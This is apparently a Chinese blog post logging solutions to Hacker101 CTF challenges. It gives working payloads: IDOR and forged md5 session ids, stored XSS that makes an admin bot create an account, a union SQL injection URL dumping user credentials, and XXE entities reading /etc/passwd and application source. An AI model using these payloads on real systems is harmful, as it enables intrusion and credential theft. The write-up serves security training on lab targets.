hacker101 CTF 學習記錄(二)

前言

Easy-Postbook

拿到功能有點多,先掃一遍目錄

.Ds_Store沒有啥東西,page是個靜態頁面

隨便註冊個賬號,登錄後已經有2篇文章,第一篇文章的id是1

自己創建文章,將url的參數id值改爲1,可以越權修改文章,獲取第一個flag

改成id的值1

提交獲取flag

我們將自己的session的hash值放入md5中,發現MD5解碼爲3

因此將session值改爲1和2的md5試試看

替換爲1的md5,登錄賬號1,獲取第二個flag

使用2的md5值登錄賬號2,拿到第三個flag........後面看了hint裏面的思路是弱口令

與第一個flag的越權修改不同,這次越權修改私密信息,獲取第四個flag,其實這個flag應該是越權查看profile的,但一併出來了

去查delete跟的hash參數,也是簡單的數據經過md5加密的

因此肯定存在越權,登錄另一個賬號,刪除賬號1的文章

拿到第五個flag

profile也存在越權,通過後面的id,按abcdef的順序可查看不同賬號寫的文章,但是這個地方獲取的flag是之前提交過的

文章發表處也存在越權,可以看到寫文章處post請求存在一個參數id

那麼修改id爲1,拿到第六個flag

還有一個flag,搗鼓了下修改密碼處,無果

整理下現在拿flag的地方,越權查看別人的個人頁面和私密信息,越權改他人文章,越權刪除,越權發表,賬號越權2個

最後一個我看了提示是說的 198*5,最後在遍歷文章id的時候發現945處存在flag

這類漏洞利用思路hint

Moderate-Ticketastic: Demo Instance

這道題沒有flag,找了一遍不知道是不是xss盲打的demo,但又沒有實際操作的管理員,看他簡介說有個bot,但是因爲目標服務器出不了外網,所以彈回cookie是不可能的

給了後臺管理員登錄admin/admin

前臺有個反饋

反饋後,後臺彈框,JavaScript成功執行

Moderate-Ticketastic: Live Instance

環境和上一個是一樣的,但是有2個flag,且後臺登不進去了並且httponly,打不到cookie的

但是可以看到他存在一個創建用戶,並且提到了後臺存在bot,那麼我們要控制ajax去添加一個新用戶登陸。

拿到創建test/test的請求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

來手寫ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

嘗試了下不行

中途有事耽擱了幾天,重新申請了環境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

將請求內容放到title中,終於在測試環境中成功了

成功添加了test1/test

那麼在正式題目環境中,嘗試一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登錄還是失敗,此時我一度懷疑後臺小機器人壞了......網上有人嘗試<a>標籤成功,使用該方法試試

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意沒有hash的路徑,他每個路徑都是一個docker鏡像,所以對於本地服務器來說localhost = xx.xx.xx.xx/hash/

竟然登了進去了,找到第一個flag

那麼ajax爲啥不行麼,後面發現還是路徑的問題,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在測試環境之所以可以,因爲ajax的請求是訪問者觸發的,我的電腦可以訪問外網因此可以添加用戶,而機器人是無法出外網的因此必須要localhost,但是對於機器人來說它的路徑沒有那串hash,因此這也是爲啥payload不成功的原因

第二個flag在id=1處,使用sql的測試語句報錯

明顯sql注入了,sqlmap不知道爲啥很慢,帶回顯的聯合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

這類漏洞利用思路hint

之前同事提到的反射型xss不要急着交,沒多少錢,比如這裏可以結合ajax,添加用戶啊啥的,擴大危害面

Easy-Petshop Pro

進入題目分析下功能點,是個購物車功能

添加了幾個貨物後,在check out的時候修改金額爲負數,典型的購物邏輯漏洞,獲取第一個flag

剩下2個flag沒有思路,先掃一遍目錄

看有個login,訪問下,錯誤的用戶名會提示Invalid username,嘗試爆破下

剛好Invalid password和Invalid username 一樣的長度,所以通過返回值來判斷,可以爆破出用戶erika(burpsuit自帶字典)

同理爆破出弱口令key

拿到第二個flag

點擊edit,換個沒登錄的賬號,存在越權但沒有flag,也有xss但沒有flag

最後名稱處的xss,在主頁不會出flag,但是會在購物車裏面出第三個flag.....

這類漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock

先掃一下目錄發現有admin目錄

訪問,沒有按鈕,input裏面沒有修改,嘗試了傳入location參數,沒有任何變化

接下來看看註釋,說有個get-config

可以看到確實存在get-config目錄,內容也是上面admin目錄下的input裏面的文本,並且該頁面是個xml文件格式

那麼有get-config,猜測可能存在set-config,訪問後驗證假設成立,但是請求不對

抓包發送options 看一看可以請求的類型,看到請求方法還是隻允許get,可能缺失什麼參數,輸入location也不對,只有爆破一下試試,這裏使用burpsuit的short password字典試一試

爆破到參數爲data的時候爲500.....

聯合之前的get-config是xml格式,這裏懷疑傳入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url編碼一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,說明成功了

但是其他頁面都一塵不變,修改下poc,下面成功將test,打印到了admin中

xxe的poc,我們將讀取的文件打入會輸出的標籤中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已經成功讀取到了/etc/passwd了,但是莫得flag,後面有嘗試使用expect協議代碼執行,也沒有效果

那麼接下來應該是去讀源代碼了,這個環境坑定是python寫的,結合上一節的一道題目,大概率有以下目錄,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一個flag

第二個flag應該是需要unlock了,需要查看代碼邏輯,FLAG是存在全局變量裏面的

主要看以下代碼邏輯,發現code會進入int函數轉換爲數字,這也是爲啥在主界面輸入字符時會報錯的原因

匹配值會進入next函數,但main.py裏面沒有next函數的定義

觀察最開始的import,引入了rng包,因此使用xxe去讀取rng.py文件

讀取後可以看到next的邏輯,但是密碼學的渣看不懂啊orz

密碼種子碰撞不會orz,暫時挖個坑

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章